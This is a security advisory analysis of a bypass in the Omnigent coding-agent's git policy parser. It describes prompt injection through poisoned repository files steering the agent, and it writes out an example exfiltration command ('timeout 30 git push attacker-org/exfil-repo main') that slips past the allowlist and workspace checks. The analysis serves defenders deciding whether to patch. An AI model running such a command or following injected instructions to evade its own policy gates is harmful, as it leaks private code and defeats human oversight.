Omnigent EUVD-2026-64014

Exploitation requires one of two initial access conditions: (1) authenticated low-privilege access to an Omnigent agent session (consistent with CVSS PR:L), or (2) successful prompt injection into an agent's instruction stream via untrusted content the agent processes (e.g., a malicious repository file, issue body, or web page). Beyond access, the targeted deployment must have GitHub write credentials (a token with push scope) present in the agent's execution environment - without these, a git push cannot succeed regardless of the parser bypass. The github.py or working_dir.py policies must be active; deployments that have disabled these specific policy modules are not protected by the patch but are also not relying on the bypassed gate. Exploitation is limited to omnigent versions below 0.3.0. The CVSS vector (AC:L) confirms no race condition, special timing, or environmental prerequisite beyond the above; the attack is repeatable without special setup once access is established.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N, score 7.1) reflects network-accessible exploitation requiring only low-privilege agent credentials with no user interaction and low complexity - a combination that warrants prompt action. The High confidentiality impact captures workspace escape and exposure of repository contents; however, the I:L metric arguably understates the real integrity risk, since unauthorized pushes to production branches can introduce malicious commits affecting downstream consumers in a supply-chain manner not fully captured by S:U. No CISA KEV listing and no public exploit code exist at time of analysis, so broad opportunistic exploitation is not confirmed; EPSS data was not provided. The realistic threat is concentrated in CI/CD pipelines and autonomous coding agent deployments that run Omnigent with GitHub write tokens - any such team, whether a startup or a mid-sized enterprise, should treat this as a priority upgrade rather than a deferred patch given the AC:L score and the straightforward derivability of bypass payloads from the public advisory. Prompt injection as the initial access vector elevates concern for externally-facing agent deployments where untrusted content can reach the agent's instruction stream.

An attacker with a low-privilege Omnigent agent session - or the ability to inject malicious instructions into an agent's prompt via untrusted input (e.g., a poisoned code file the agent reads) - submits a shell command of the form 'timeout 30 git push attacker-org/exfil-repo main'. The parser encounters 'timeout', does not recognize it as a flag-bearing wrapper requiring the duration '30' to be skipped, interprets '30' as the command token, finds no match, and returns no parsed operation; both the repository allowlist and workspace confinement policies abstain. The underlying shell executes the push, transferring repository contents to an attacker-controlled destination. No public proof-of-concept code has been identified, but the bypass forms are directly described in the vendor advisory GHSA-7mqg-cx4g-x2rf.